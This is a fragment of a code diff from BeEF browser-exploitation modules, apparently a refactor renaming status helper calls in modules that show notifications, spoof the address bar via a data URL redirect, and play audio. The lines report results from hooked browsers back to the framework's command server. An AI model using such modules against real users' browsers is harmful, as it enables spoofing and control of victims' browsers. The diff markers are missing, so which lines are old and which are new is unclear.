beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.status.success());
});
return [beef.are.status_success(), 'Notification has been displayed'];
return [beef.status.success(), 'Notification has been displayed'];
});
@@ -13,7 +13,7 @@ beef.execute(function() {
beef.debug("[Spoof Address Bar (data)] Redirecting to data URL...");
} catch (e) {
beef.debug("[Spoof Address Bar (data)] could not redirect: "+e.message)
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=something went horribly wrong: " + e.message, beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=something went horribly wrong: " + e.message, beef.status.error());
}
});
@@ -11,10 +11,10 @@ beef.execute(function() {
var sound = new Audio(url);
sound.play();
beef.debug('[Text to Voice] Playing mp3: ' + url);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=message sent", beef.are.status_success());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=message sent", beef.status.success());
} catch (e) {
beef.debug("[Text to Voice] HTML5 audio unsupported. Could not play: " + url);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.status.error());
}
});